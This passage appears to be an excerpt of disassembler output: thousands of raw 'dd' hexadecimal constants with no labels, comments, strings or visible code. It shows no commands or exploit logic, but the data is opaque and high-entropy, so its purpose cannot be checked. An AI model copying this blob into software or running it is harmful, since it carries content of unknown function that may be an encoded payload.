753A5F9Fh dd 78FBE361h, 6E0C9E78h, 0BC927AFh, 5D8A5E5Ch, 0DC2DACF6h dd 0D9894E22h, 0B0F15C20h, 290A7A47h, 0D01E43E9h, 2B60BA83h dd 3DB29F69h, 0EE13E821h, 0A07D9502h, 0B6B5E75Eh, 1F0958F9h dd 8CD1FF80h, 0D8B52928h, 0E9DF0C63h, 49FE542h, 0D4F34980h dd 6A135D11h, 1697A91Fh, 85F3EDA0h, 85611425h, 0EDA17E45h dd 31A7F42Bh, 0CA6CBE02h, 0F504ADE9h, 0CE7FFCBAh, 3C759557h dd 4BB4943Ah, 229EE4F0h, 0B92E6851h, 98DF84CDh, 0ED49CDABh dd 0B5A61861h, 6D54CD8Bh, 0E596F7EBh, 0FBDDC20h, 5708EAC1h dd 0FA190524h, 58137842h dd 8796DF30h, 67595240h, 7EC56109h, 0F226A452h, 0FB2D9AF0h dd 9A79CBC4h, 83C055D1h, 7A3E86A0h, 0D4FFCEFEh, 0F2F2BEEEh dd 236B8881h, 5DEA2E60h, 0BDE12FCh, 2C5E0500h, 2AB8C681h dd 8930482Eh, 0E24E857h, 7DAC6826h, 7C9DBE13h, 0ACAAE844h dd 22A54EE8h, 6218D4C2h, 10218C1h, 49EBD1C3h, 4CD4684h dd 0E597E289h, 0FEEC93A1h, 6CD7D96Ah, 0C2800EAAh, 0A086CA01h dd 0BD1F60Dh, 5FD2B3F7h, 50D2E01Fh, 8FE9B43Ch, 3D30F9C4h dd 7038239Ch, 44DA32B6h, 0F6534EC2h, 1B3600B7h, 6E928B9h dd 0F1DB2AEh, 0DAB55166h, 0C5165B46h, 3568E70Dh, 4EA5DD1Dh dd 25B88AA0h, 294C0602h, 37BF0249h, 0D6179476h, 9BEF8272h dd 52D51D96h, 7CB509C6h, 4CD86A03h, 4878A339h, 0F9721628h dd 2686760h, 0F0CFA61Eh, 0B97B5AF5h, 805AA24Dh, 0F30AB4EEh dd 0AD52C420h, 4252FF0Fh, 5B944FF4h, 5E0BF30Ah, 0EB20E0FCh dd 0AE29D94Bh, 0CFF4FCF9h, 141030E9h, 7833C5F7h, 29495E09h dd 83EC7FEBh, 8994B684h, 2D2DDEC9h, 83ADF1E0h, 4207F38h dd 2D1D840Fh, 588947BFh, 0E962EE63h, 9BDE4735h, 6965F969h dd 184351D5h, 0D5BA47C1h, 7C42231Eh, 69B86F97h, 0F2AB8D81h dd 0C6B07BF5h, 0E72E48DCh, 5E540489h, 0F94EAE89h, 0B07D2725h dd 5B88E9CDh, 0F4FAFC6Ah, 35165ADBh, 0FC7B3403h, 45EE4A6Ch dd 0A3777A75h, 791F1636h, 9659CA90h, 0FDA25F6Eh, 0F2ABD27Eh dd 6820D8B5h, 793A6246h, 74F6BC19h, 70E03489h, 6057F888h dd 37C16315h, 0B31F71A5h, 4A49CE01h, 0ECF39023h, 0EF29800Ah dd 385A00B8h, 179401E2h, 7F3CAA4Bh, 5DEB2D01h, 8744C1F1h dd 0A259AEF3h, 1FC4FEE7h, 0D831EE2Dh, 0BD0082E8h, 0F32469D7h dd 2D024810h, 0F0EF0C96h, 454820C4h, 7D5E5F76h, 4FBE6401h dd 0F6200F24h, 680940C5h, 0B0B38D4Bh, 0B35A5184h, 0ABBC4F20h dd 0A6D00DCBh, 1429A91h, 40F657C2h, 29BB5865h, 76CB3E42h dd 0FD0B3C18h, 5B12F3E2h, 4D533D6Ch, 2A751101h, 0B06B3786h dd 850B055Dh, 0D706573Bh, 3A073B08h, 0C06BCE80h, 0C055934h dd 5DF67600h, 54E95356h, 0D494B52Ch, 4FF43720h, 4D7B921h dd 0F7C7BAA3h, 97B4F9C6h, 5A25C515h, 0ECFED24Bh, 1AE2E7DDh dd 0C4D3C65Fh, 4E3FCF90h, 506CE3C7h, 0FEE7B07Eh, 34562629h dd 9ACF829Eh, 8DFBC39h, 51C9483h, 56FF566h, 9BEFAEA9h dd 4BA459DCh, 828735EBh, 170F61CFh, 8B1F9A0Ch, 47930BF2h dd 91806960h, 0A486D7D6h, 8B1D7495h, 18F714DEh, 95C2C58Bh dd 0DCCA1AA2h, 0C64FD9F6h, 2F1C8ED0h, 0F2D8BDB7h, 0E8285B1Fh dd 0DF2FEA4Bh, 4A306C18h, 0E280CE96h, 33A71483h, 1EDB851h dd 22754C72h, 2B9982E9h, 8ED4DAB9h, 3EB2E55Ah, 0B7BE0A13h dd 0C95F2923h, 0A4367D69h, 0E9C20904h, 0B2BF078Fh, 346D02DEh dd 415D15D2h, 9A250DC9h, 45D2CE7Ah, 7E8B613Dh, 84410209h dd 0F0145747h, 0B79FD5Bh, 0B06E8068h, 20589440h, 3E4730Fh dd 0D4567C25h, 6A7BC59h, 0D4278154h, 0CAD9A535h, 5565050h dd 0D30F6068h, 0A188AF17h, 0AD7740BCh, 0B14A07ECh, 0C2DC49AFh dd 0F9A7BEF6h, 0F8F469F7h, 0D19EEC8Bh, 3C712D8Ah, 0A50B5EC5h dd 1F79D9C5h, 8B3C49CFh, 29EF5A83h, 3FBC87B1h, 0BBF8884h dd 180B509Ch, 0AC1307D0h, 0E68DA804h, 52DD9727h, 6BBFA1EDh dd 0FBB5E4F8h, 0E985B9E3h, 106F02Bh, 5B9AD94Fh, 26842E1Ah dd 567661F7h, 0AE307A25h, 0D90A005Eh, 5AF18170h, 595E663Fh dd 0B1C9A00h, 0FC4B15ACh, 272802E3h, 0EBC15D10h, 47C3E980h dd 162E4C73h, 5E30BAE9h, 5025A5BEh, 4EE9253h, 0E384084Ah dd 3B5EB529h, 0F6016B8h, 79436817h, 0E2BC1A0h, 5638DA27h dd 72E2442h, 0B90665C8h, 8A3A85Fh, 583FA029h, 816CC434h dd 0B5685A01h, 0D14B2B7Fh, 6316D723h, 22157895h, 505A5FB9h dd 0C4226171h, 6187C007h, 93E5444h, 0A8E512C1h, 965278F4h dd 12F728BAh, 0FE965FF6h, 61B7D05h, 0E65AA78Fh, 0A9B105Eh dd 30BC0500h, 0D0297015h, 32072D51h, 0ABEF1359h, 410794D8h dd 415F2051h, 0F7A4C74Ah, 59C2FED9h, 89173620h, 4EEEFCC5h dd 860A19BBh, 3A5CC5E9h, 13FE0DCCh, 0FF3A166Dh, 9904838Bh dd 80256028h, 844FD315h, 0C9815001h, 37BB758Bh, 33F46221h dd 90B273Dh, 0A630E440h, 0BE62F82h, 0E10CC221h, 0D49052A3h dd 0B0893F72h, 0B1D445Dh, 2DD698CEh, 0E0981625h, 58273582h dd 0D7885755h, 279A01D7h, 60313CDBh, 29AB642h, 2DB3F09Fh dd 2F7D6768h, 21CDE4B0h, 0FE0438F9h, 0BE439F4Ah, 55C65262h dd 0EE4A7A52h, 0E98605AAh, 2957D66Dh, 785E569Fh, 64BD1364h dd 5CB4F046h, 0A3D07BF7h, 961EAE4Fh, 0B3E9D742h, 20E9C526h dd 41BC9032h, 5DE02A64h, 3A238089h, 5ADC5E97h, 3B2ECC00h dd 2E983827h, 0D8C4D60Ch, 4CD24C7h, 0E9457E6Ah, 827CF840h dd 5E71F722h, 121B0354h, 0C016983h, 7556147Fh, 0B244DE29h dd 0CC00816h, 0BF5C6C68h, 0DF2F2A29h, 0AE035045h, 4078B68Ch dd 57BB5E06h, 7DD21689h, 4D2077F1h, 0D56954B1h, 452D0A8Dh dd 7AA0B827h, 1941E502h, 404569F2h, 7506D8A4h, 0E7AAC015h dd 5648C612h, 0E5EBE04h, 0A1E04783h, 0E9D63FF7h, 0B0DD005Ah dd 4E8C064h, 126C0C3Eh, 77F952A7h, 4092EE4Ah, 7F65F50h dd 0A652C5A7h, 43B04077h, 0E92E6232h, 0EB45D18Eh, 5EB4E0FEh dd 0AA5645BFh, 0E382B7B2h, 0B10008AAh, 0E027B750h, 0DAF0BDCFh dd 0BCED0D4Fh, 2C7FE527h, 25683A64h, 21C632E3h, 0C7B35204h dd 0C1AFEB80h, 0DA305597h, 3ACBC341h, 2F6878D8h, 6D1860A7h dd 719D36F4h, 0FF82695Ah, 4A0C3C3Bh, 2F12BE86h, 6BE2ABD6h dd 92770932h, 0C3E789BBh, 0FF764E8Fh, 25E9362Ch, 212D4B6Fh dd 0AE95C370h, 2C4A77A7h, 0E82DC194h, 9F5540Ah, 41F4A3A4h dd 6712C072h, 4F6880D5h, 0DE527548h, 1729140Eh, 0F449DDBBh dd 429259C4h, 25CDD720h, 96F5C583h, 203B981Fh, 96BDA0EFh dd 0FACC5AA7h, 105A8B31h, 64D2412Eh, 6C50DA20h, 61E7024Bh dd 0C0621B27h, 2706FD73h, 0A0702201h, 0DEE1F190h, 2DF3DE48h dd 441D3013h, 3E642A00h, 27317984h, 76D25AD3h, 40ADFD40h dd 2F14B599h, 12E3EE88h, 0BEA2665Ch, 0ACC8D45Ah, 0EF92DE0Fh dd 0CA679CCDh, 0FEFD5A7Fh, 0B5E9A320h, 416EBDEBh, 0CA95353h dd 230DACE9h, 45270BEAh, 7892599h, 2708A308h, 7737BA57h dd 0B4B3C4Eh, 0A7EFE1C5h, 505A7E2Eh, 0D8EE58C5h, 3529E60h dd 13EB4F9Ah, 69A823F1h, 816861B4h, 0E931303Eh, 639A4F83h dd 20157895h, 5852DFB3h, 73292D6Fh, 1A132FE3h, 8010C450h dd 0D1FEED25h, 0F1C308F9h, 31F9D025h, 291ED584h, 1D1264D8h dd 0F76DDA09h, 4B97CD2h, 0BA1A63E9h, 0FB403665h, 80CDFE25h dd 58DB73C5h, 0E0121CF5h, 18B2FAF2h, 40688E98h, 0BF62749h dd 7E6548E9h, 47D983A6h, 0B1D944A3h, 21590068h, 0BEFBF0F8h dd 0A76327ADh, 380797C1h, 6E90C2B7h, 0C11EC030h, 387417BDh dd 10D0244h, 0DFFA7Dh, 481DEE89h, 0FFF8BD6Bh, 4672ACFh dd 86EF4B0Dh, 3018208h, 0E9658B4Eh, 5303A14Ah, 291394B1h dd 17EE5A92h, 61EF8AD4h, 0F6A48E52h, 8C66860h, 141E7572h dd 0F811AF01h, 102B2974h, 1C680886h, 0FF591614h, 0C01533CAh dd 520090D7h, 282C1B68h, 0EFB85A70h, 743A4625h, 0A9E15330h dd 11B73788h, 2C2F014Bh, 0E9423B54h, 0A025F895h, 2D3D354Eh dd 10D7452Eh, 1261C3EAh dd 0ADF4E259h, 13BF4EA4h, 0CD13EEDAh, 0ED0B52FDh, 99853A7Dh dd 0E538C8FAh, 8067E3FBh, 0FE7AC10h, 27686EFCh, 9EDE62F7h dd 98E4BD5Ch, 0DB78A50Fh, 6F76C418h, 0A76FB4A9h, 7BCA5BA3h dd 0A1DF87F2h, 5E246866h, 4F89FE24h, 1DE4456Ah, 15DEE31Bh dd 5882DB49h, 89FD3842h, 2F201F4h, 48D48B34h, 655CB9Bh dd 0A947BFBDh, 8F00F44Dh, 0D4FF341h, 0B950E2Eh, 0E0F8E92Bh dd 0C7402151h, 13FE2D76h, 0E079E917h, 5ABDBD3Fh, 0EA292C1Ch dd 5BCC1072h, 9C48AAA4h, 6E5525E8h, 60D1FCF6h, 58C21D56h dd 3CB1D709h, 0AF815764h, 0CD3E23FDh, 82343229h, 5DAF21E9h dd 0C37AB3E6h, 1478EB34h, 6820C0FBh, 5A3B09F3h, 501BC852h dd 464B985Eh, 7019BB1h, 54657CE9h, 1608E93Fh, 9B0D359h dd 2E3501E0h, 81D4CEBBh, 0ABFC7EC5h, 4863045Eh, 3F4BEE0Bh dd 70A75ED6h, 0BF90F001h, 9E8C85Eh, 110B2DC0h, 0A6FC1D75h dd 85B90358h, 308DA24Ah, 5FE57748h, 89A5E62Ch, 0E8A0105Ch dd 0EEC383DAh, 388A1012h, 0C8DEBDA9h, 290006CFh, 7A4F05C8h dd 2D3D058Dh, 0C07909C1h, 0FEEF73C6h, 0F7A7F5BEh, 11EEA4A0h dd 8906798Fh, 0F0315AD0h, 0F15E5FA3h, 2C8E3527h, 9E68A0D2h dd 71C2E169h, 0FBF14523h, 5E50A062h, 55CC254Fh, 5A80BD71h dd 97537250h, 0F4A573DCh, 6C6C1EF4h, 40C924E7h, 623A7CE0h dd 89252095h, 903B584Dh, 37120F86h, 0CD80763Fh, 2BA67546h dd 38F0F4C8h, 0E20EF832h, 1B226452h, 0BFEB5E0Ah, 60D6341Eh dd 0B43EC7E1h, 400758D9h, 0D309F897h, 18DFB4F3h, 0C3875C4Eh dd 2D80C163h, 0DB4F019Ch, 42CD3532h, 0E4D0E7D7h, 0B2490610h dd 7D175A8Dh, 0CDCED3EAh, 0E929F4A0h, 7E5E284Dh, 0FB0ED7Eh dd 0E56BD40Ch, 0F506F602h, 0CFCF60D2h, 452C3C8Fh, 8AAECDD0h dd 0B9518B60h, 30561014h, 0A093129Ah, 0BA0E5191h, 60520C96h dd 5BDA89D1h, 0BF0E50B7h, 0C15E72CCh, 0CF293205h, 0E1AABBC4h dd 3F7F6617h, 1F4880B9h, 26F18113h, 7F77253Ch, 0E99368F7h dd 0A26EE3EAh, 5568878Bh, 4F784629h, 5B86A890h, 249885B3h dd 0E90BD2B3h, 0B0FEF6F4h, 9B08854Dh, 964D099Ch, 7FD740E9h dd 55E39713h, 0E1685304h, 13CAB374h, 3734F401h, 17A3B980h dd 894F094Eh, 10755EF3h, 2D5A9277h, 0FBD43AF8h, 39C05114h dd 77FEC05Fh, 0D9DF35CCh, 0A90CB8A2h, 418AB664h, 0E9A46F93h dd 58F996CFh, 6182434Fh, 60B1D065h, 6D1D137Ah, 49F27D3Ah dd 0F5D80551h, 14E4F203h, 0CCB7930h, 1623A268h, 1581D09h dd 632B26DBh, 0ADAC6E73h, 4DD4F2C3h, 0B8C3AE8Ch, 306C00D1h dd 512C5AF5h, 474E828h, 0F5B9FFCh, 2166F531h, 1833262h dd 4CF255CEh, 515888F0h, 21621F51h, 80BB7712h, 765EEE28h dd 77BC0548h, 708C195Bh, 0B84C4063h, 62168500h, 0AE89BB45h dd 9645F92h, 0C95729B7h, 503880C1h, 57B2520Eh, 0B27FF2E7h dd 3483B85h, 0D56BF7EAh, 82E55F08h, 8C7C6204h, 0AD111C81h dd 2D07292Ah, 2FE91258h, 97BF0EE0h, 0E0840975h, 4B282522h dd 57BA530h, 9CA8B08h, 1937EB68h, 0F9E5575Bh, 0B95D31E4h dd 1CEFC1E1h, 892AF0F0h, 604876B7h, 6B60BE25h, 0D1AEFEC5h dd 6C7DC8h, 2D7F431Fh, 783EEF79h, 0E9C7290Bh, 19541E4h dd 4157BE42h, 0B43E3AC4h, 0E2AA8500h, 2DE4EC75h, 12E0CFC1h dd 84141D97h, 0E5A04364h, 0DF824BA8h, 0E1CA53E9h, 34B9D9C3h dd 51449FE6h, 0D7486A67h, 0E9420D5Bh, 9055888h, 2A2157BBh dd 5E88D68Fh, 5F82905h, 165FB288h, 0AD0FE068h, 0CBFFA474h dd 0DF67627Bh, 0C91BD1C3h, 0BD5E6C70h, 0F55DBBC2h, 414204DBh dd 829CAFACh, 7F778EC6h, 1FAA1F0Fh, 25A92B8h, 35230FADh dd 8A8381E0h, 5CF0CBCBh, 28B65912h, 2F08488Dh, 5B25B59h dd 60285F68h, 0F2705BDh, 4195858h, 206A619Ch, 4BA6AC80h dd 0A82A5FB0h, 0ADCE0034h, 0C114FA13h, 0B9024AE6h, 107B802Ah dd 4E2964B0h, 518F22C6h, 0F2121460h, 0B0803C4Fh, 41B9D2BCh dd 48B881BDh, 5F3E576Eh, 742F7FDh, 388EF759h, 891E6F43h dd 0BA5256E0h, 26D70C39h, 23165797h, 0BC1279D4h, 5BD84FBh dd 987B2CE7h, 6041410Fh, 0FEAB126Ah, 0F607A813h, 22422A8h dd 0E05FF0AFh, 0C82D0501h, 35128229h, 755950D4h, 77531CAFh dd 91D4E5CCh, 0F3202D47h, 34E9EDE8h, 0ED60FE75h, 0EB808215h dd 515B780Ch, 5C30C08Dh, 0FC758A2Dh, 0A668D0ADh, 0BCCB254Ah dd 0EB30507h, 0D0858B3Fh, 0A907122Dh, 0F3EB92ADh, 156809CFh dd 0F30C237Eh, 0BFAC4BE4h, 0A82E9529h, 12A8A166h, 96E8E7Bh dd 0E6038C68h, 0F4532CC0h, 126FE2AEh, 0D6AC11Bh, 0C4B7A26Bh dd 61A2EDBCh, 513EF948h, 4474FBDFh, 0E924CCAAh, 4FB7F92Eh dd 0D6390B42h, 0FE01C28Ch, 0A635EC64h, 65AB2B70h, 4439001Dh dd 8923D815h, 5AE9FE12h, 0B752B183h, 0A47597FDh, 1861A26Ah dd 0D05ECD58h, 403FEEE0h, 71F10184h, 0E7A82A8Eh, 5A38C25Ah dd 0E46DD1DDh, 4F69E8D2h, 0D42568ABh, 0B2066B95h, 0F1E8425Dh dd 0A4B724CFh, 627800C2h, 4D5D1B88h, 0AC9FF8FAh, 1325E843h dd 0AC0E455Fh, 0E9074012h, 6E978925h, 0B6A68012h, 0D6F7800Fh dd 9E96139Fh, 0FDC97D80h, 5B98A66Eh, 286099E1h, 0BFCB4098h dd 913ABC04h, 1ABA4F19h, 89DDC2D0h, 0A4E8221Fh, 0DED009F1h dd 23C26816h, 0E62A9CCDh, 7C5F3203h, 0F79C7742h, 850B904h dd 5CFB132Bh, 483DC743h, 312FC27h, 3140CBA0h, 163ED03Fh dd 0A3B9A977h, 215DD1D3h, 0A9487C63h, 0D22AE36Ah, 5EB88BBEh dd 0A42939FEh, 4D104F35h, 2ECC001h, 0ED0FC480h, 4CC52E33h dd 8E3D61EBh, 0D2C669F5h, 6AE5E904h, 0DE14B8h, 0E96579DCh dd 0B5A1D242h, 28EA2A54h, 0BF3853h, 36636829h, 0B610509Dh dd 39955F25h, 2B293E9Fh, 0E09BF97Bh, 0B12AA568h, 0E7FD6CD3h dd 0BEB901FFh, 2D2758C0h, 24FDE1D1h, 4D32BBAh, 6962B15Ah dd 0FAA57D7Ch, 5A061DC6h, 600EA808h, 0E91BB916h, 93405E52h dd 0AC1030Ch, 0E06F8283h, 7F2A9D04h, 0D15A8AD0h, 0BF80E6A8h dd 76430113h, 0DD3942BDh, 4B064909h, 0D99575F0h, 0AF6843ADh dd 0AAAA4495h, 1DBF13E6h, 6C4882F5h, 0A1C07BB2h, 0C3481176h dd 72F60515h, 17EA4C56h, 67C4EE72h, 8C1B9CA8h, 22B1EB0Ch dd 0BD4E80CBh, 588B0312h, 0B2EF4B89h, 0DB409604h, 0E973CF2Eh dd 8C084EE8h, 0EA40A105h, 0A3B057h, 2F8601C5h, 0DA603FBFh dd 0D7313B12h, 0C756450Bh, 251E2CF8h, 2FC3477Fh, 928B7474h dd 8445C8DCh, 5259278Bh, 0BE3D54F9h, 0AC738CCFh, 0E233F20Dh dd 896D272Ch, 5A5A0454h, 7C27A6Fh, 683C091Ch, 96B13A66h dd 7AAFC654h, 2CE4B10Eh, 7C54EDDh, 5E4E04C8h, 5F6DC2Dh dd 0D027E9F8h, 4A18BBAFh, 0D071B527h, 9C39FA61h, 8F640998h dd 0CA6C7082h, 7496B6A0h, 87006199h, 0C4BF57CDh, 0C2413667h dd 6C1E4FBAh, 0E9E340F7h, 34FE69A2h, 5653F240h, 0C9D27EF4h dd 0FE28D98h, 48980F60h, 0E901EA23h, 58ADE0E5h, 0E208B9Ah dd 957CFCE5h, 7D49FA56h, 5B5F20C2h, 10F72515h, 0B8532D39h dd 559277Dh, 0D053D6AFh, 0F714E9E0h, 0AA8E6B5h, 0F028BFC6h dd 8E2C58F6h, 0FD416390h, 2D5BDE3Eh, 10BB9156h, 0AC08172Ah dd 53E1E194h, 0F4D6CBCDh, 0B3F40B26h, 0BE48E76Ah, 42829BA0h dd 0DFD0F7D7h, 0FDAD055Fh, 0FC4AA74Ch, 540493C4h, 0BE126FD4h dd 0BAA5F361h, 6CDBF701h, 0CB8101FAh, 473973B1h, 133DE3D8h dd 7684A72h, 8F115Ah dd 5BDF31C9h, 0AC2F507Bh, 833DD92Dh, 7F2C7C13h, 0F4D4B410h dd 634BE02h, 0E4402A9Fh, 33244165h, 8302F66Ah, 43428B49h dd 91AE20FEh, 0DB14CAFAh, 3EAE112h, 474ED8C2h, 0AD824B29h dd 80E90C73h, 16235FB8h, 0B5592F44h, 51006A54h, 0FD64BD15h dd 7C7A2FE9h, 3D20435Ah, 0F236B689h, 2EBAE7CBh, 31780209h dd 0DABFC3CFh, 609EFFBEh, 1C6861FCh, 9E3A841Ch, 0DEB97F46h dd 0BAEAAF40h, 0F6451A58h, 1B2944Ah, 722ED905h, 0CDEC2E3Ah dd 3BD6F600h, 77890620h, 39BB5EE8h, 0A420AC20h, 38C8B022h dd 0D3D6C1Ah, 0D90A8D92h, 0D79142F4h, 0C9F798DDh, 57DE0049h dd 7974B958h, 0F895BCE8h, 0BD5503FBh, 95941B4h, 482BDCCh dd 614A7CC7h, 410BE2BEh, 6D06B9Ch, 0C133CBE9h, 4A4C95F3h dd 16896026h, 0BF6BD44h, 7B3B4219h, 7975A7C2h, 0EC1C47B8h dd 5D5ADB45h, 0B88080B9h, 7BC31A0Eh, 1ABDC5F4h, 0DFEC0C95h dd 5068125Eh, 0B4EDF973h, 0F50FBDAAh, 0FE6C94FBh, 530B76E3h dd 3F5A00Ah, 0E82EF9C6h, 0BAE0E914h, 0A3849737h, 93A7B953h dd 0C92DA791h, 6FE82001h, 0BB9712F3h, 1673652Dh, 1276B150h dd 0FF0F645Dh, 0F9295621h, 0A4EBC344h, 3FD5EA93h, 2683056Bh dd 0A0FF6CEEh, 2480034Ch, 7BA9370Bh, 95A101CAh, 0A83CECE7h dd 0D569DB94h, 6A4525E9h, 0ABA28DD7h, 0BCD447Bh, 783858DFh dd 3F013A29h, 0DA434B98h, 2DD2B060h, 5C65A327h, 0D4603405h dd 0FB8AA73h, 7C2CBEE4h, 0E3051358h, 5C591354h, 680F3A9Bh dd 211277A7h, 3AC72DCFh, 11FC7BC9h, 0AAB1322h, 0F861015Bh dd 317EDA09h, 7C63206Ch, 6C501D01h, 98E95243h, 5E0F2978h dd 0B804D029h, 0B211C8E6h, 6817D892h, 0A7E34D14h, 23C772Eh dd 579CE915h, 0A450C5A9h, 0DAECFB27h, 2B5E0EFEh, 0F2C03095h dd 1A575A41h, 4985E912h, 43C623FEh, 4DCD9400h, 0FB877572h dd 8706D04Fh, 927C8B1Eh, 0E088C521h, 184FD0C6h, 0ABD2FBA6h dd 18109BCBh, 0D34B7611h, 0C692C646h, 0FEED4BABh, 0BC525913h dd 13D9CFAh, 0E04740BFh, 0C27FC03Dh, 7141666Dh, 3AD428C2h dd 0B8FE8CABh, 2F951A0Ch, 0F85D26F9h, 9DE91556h, 0B501AD6Ah dd 0F6CDFE26h, 0EFA331DDh, 0CCFA884Ah, 1EB6828Eh, 96EE2D38h dd 0D5B920CCh, 0CA38409Dh, 2D66BD24h, 0ABF5F920h, 0C6D082E8h dd 0EE02497h, 30575244h, 9601BFD3h, 412A670Ah, 0DB522DB5h dd 89121A91h, 23DB1026h, 1E659B0Fh, 7DD30B97h, 0C93DEE4Bh dd 4B23B63Fh, 56346A32h, 5E5B0B2Eh, 0E3A868D5h, 5C2FFC06h dd 0F9D6423Fh, 0B7BB920Fh, 0ACC15B5Dh, 0CE077D71h, 53994002h dd 5482E8FCh, 5D09B220h, 0C20617Bh, 9522594Eh, 0D470093Ch dd 1193F0E0h, 65CCD727h, 0D47DEAFDh, 73615A4Ah, 403E105Dh dd 87755066h, 61862568h, 0F0C46146h, 0BB1788h, 0DE395ADAh dd 72DE95Dh, 977EF9F0h, 0CF3F8821h, 0EC580B40h, 0C9064F6Ah dd 0D48B00ACh, 61FFFBBBh, 43CB78C0h, 6D2D7C51h, 2DAEA20h dd 453D52B7h, 15F12711h, 0B7E95760h, 41ECB6F4h, 7A46B168h dd 0E9871AE6h, 0D7DCBBEFh, 51AA562h, 5983C05Ah, 777C236Bh dd 3B00DA4Ah, 8A6022BBh, 85D09D67h, 21351A0Fh, 0DF4052E9h dd 0F061BF57h, 5DE87B84h, 680049BDh, 4DA07B1Ch, 0E705815Fh dd 6F166091h, 435B82AFh, 0F275659h, 0B2BB929Dh, 0A7BE93AEh dd 193752BFh, 27ECD828h, 0CC48BB23h, 2C422A10h, 0B004591Ch dd 71BB8804h, 62C5F82h, 48230074h, 5C0560C3h, 25165E68h dd 144245E9h, 57CBEB80h, 0A10A548Fh, 5F22021Ah, 63F80337h dd 1C8C5495h, 0AE7385E9h, 80768546h, 52609453h, 0F509197Eh dd 87277CABh, 75E1ED22h, 18837468h, 12D61756h, 78470C01h dd 0A7E94F7Eh, 0A82F0825h, 0EF82E508h, 82BB005Ah, 2158866Eh dd 0E731CA6h, 0DF103812h, 53E006E7h, 90C7569h, 0DF676F0h dd 9D234840h, 0AE450DDEh, 90AA3716h, 186CCB67h, 417B462Ch dd 13ABB712h, 89F0E61Bh, 4B27FDBEh, 8F2B72C7h, 2D07E7D3h dd 688740DFh, 40E012FEh, 96B20052h, 5115F280h, 0C1EC98B1h dd 0CBF3AF1h, 61060939h, 4D67E913h, 61ACF822h, 0F16B620Fh dd 154BE194h, 57D500BAh, 0E97D1279h, 55AF5127h, 0C34A1534h dd 0F888A481h, 4F912A60h, 0C5A4E8CCh, 33A7098Dh, 288B654Ch dd 0C3338EE8h, 79006982h, 609C7CF2h, 1E5C53B0h, 21027EBCh dd 4051A15Eh, 27C1F296h, 81F50755h, 73D0C675h, 2514EB2Ah dd 1CBE7DFEh, 1E401DBFh, 190B665Fh, 0E361FCA5h, 55B12EB9h dd 0B290400Bh, 6B1E4F44h, 0EA14CA01h, 0CF85B08h, 3725E417h dd 8A7482AFh, 5EBAEDA0h, 65F5401h, 8116D5E2h, 0A6C7EBEEh dd 6BA84DB5h, 0C9F65F25h, 8688D39Fh, 6020044Fh, 129F06B5h dd 0CACE0E3Fh, 0C105B073h, 97BB09E6h, 7B04D58h, 529C4227h dd 57799779h, 80920C65h, 0FCCAEC5Ch, 1F9ED3h, 0A92697B8h dd 0D83DF740h, 59D56250h, 0E7F1575Eh, 0A3BA53Ch, 53133FFFh dd 841064E3h, 0CE011ADDh, 3F7455EEh, 0F117A22Ch, 0F72951C3h dd 0C5CFB98Ah, 5FF34909h, 4512FF5Fh, 0EA7025B8h, 0E6D5B3Ch dd 137F555Fh, 0BF1D203Ah, 0A03A431h, 157B252Dh, 0E9C00B0Eh dd 0E522D9EBh, 0BA7F1253h, 31F61079h, 69F62637h, 71CF1699h dd 15E43B21h, 5188D0FEh, 0E15E15FCh, 0C65C00FAh, 32C07A2Ah dd 54A9E93Ch, 5670F88Bh, 5141F4B5h, 4DB32BD0h, 0FECF6C09h dd 3E09FB5Dh, 9DAAA22Eh, 0A1389796h, 9A72B3Dh, 0BA0DCD12h dd 0EA2D60DAh, 0A294CCB4h, 0B1470149h, 0B87EFEF9h, 0CEF4B7EDh dd 2020DEACh, 0C161D2A0h, 0A8E6D382h, 720C04C4h, 80474AADh dd 851D4381h, 0D7014002h, 0CA4C15E9h, 0BE107DE8h, 54BE4EAFh dd 0FE455752h, 0F98D1489h, 51C6436h, 4CCD53E3h, 16A8357Eh dd 6957EA85h, 2DC332AEh, 34B8AA68h, 3F0C141Eh, 9044FB89h dd 2FE7E28Ch, 1CD4FCFDh, 7FD2531Fh, 2EBE6052h, 0A9F24F38h dd 0B8D7F017h, 7D598B4Ch, 68137A4Ch, 51AD1E6Eh, 0D0E9BCA5h dd 544604B2h, 5BB5D07h, 0C2554AF2h, 0F154340Ch, 0B28C62h dd 0C9105605h, 2E25CA58h, 1A001B58h, 0E92F6655h, 92E92E2h dd 3963DEB9h, 1C2CEADCh, 0C10360Ch, 22370549h, 10CB2969h dd 0EF4008F6h, 44BAA171h, 3CF19740h, 424E2602h, 3F7C0792h dd 2C32CCCCh, 6A733813h, 86350AFh, 0B0595A12h, 0D741CCEAh dd 68A01E81h, 0DF436BA7h, 5719FF0h, 0F7E9460Ch, 9DEF2547h dd 5AA48255h, 416A7531h, 0BBE51E57h, 59CF09D4h, 273FFB59h dd 124FEC36h, 8DECFEE9h, 93D52CC9h, 0F75ABFE8h, 17E9C2E1h dd 28E6DD34h, 792F3ABEh, 0C5CE162Eh, 0BBD9126Ah, 0F98993B7h dd 785C0741h, 2F68A070h, 0D5189D3Ch, 0C2838E11h, 255AF9E3h dd 765DF8EAh, 45955C0Eh, 45DDA755h, 18F7AD6Fh, 5659CB44h dd 0BA4F6B52h, 95ED598h, 0FEEAA0E9h, 242E655Fh, 3F5009EDh dd 0DD639ADFh, 0EF311DC8h, 2DEB5D4Ah, 2BEDD979h, 9B03EEB5h dd 5D4234BCh, 0AC1E82D7h, 88CF8100h, 0C0235E59h, 6F48B3F8h dd 0DF899B25h, 38B9E380h, 0E9164194h, 96B4FA3Dh, 0BCD4972Dh dd 68048623h, 30BA441Eh, 0A1EA5328h, 0FEB8785Fh, 0C68CEBB5h dd 22182568h, 574EB0ECh, 0B2738A2h, 68815A51h, 1B87670Ah dd 0F25B4192h, 0CAA3C49Ah, 34A8FC17h, 0DFE00847h, 0C62200C4h dd 0E9DF311Eh, 31B7818Ah, 8C6F9246h, 629054AEh, 0C820FCB6h dd 59070236h, 6F68250Ch, 0F58612DDh, 0ED3A87E1h, 9DE02E09h dd 39174BAFh, 20A86BB3h dd 50620A4h, 0B404437Fh, 40E5E902h, 8F3E41FBh, 0ED29045Ah dd 5B46BE23h, 44CC2EFFh, 191947CBh, 0C0D839AAh, 5B9F492Ah dd 51F550E2h, 0C313E2D2h, 14C2020Bh, 6513DF5Ch, 23D268C8h dd 0F1DDA6B7h, 89C104F3h, 0BF63A612h, 841A7ECh, 90ABD13Eh dd 9505049Fh, 38FAB568h, 6E6BF79h, 0E958B709h, 2D7DC1A8h dd 10A4B93Bh, 644C8E39h, 7048B410h, 2DFCF84Ah, 2842BF8Bh dd 17256D75h, 360AB05Bh, 9193CC6Bh, 2C32FE6h, 6394C29Bh dd 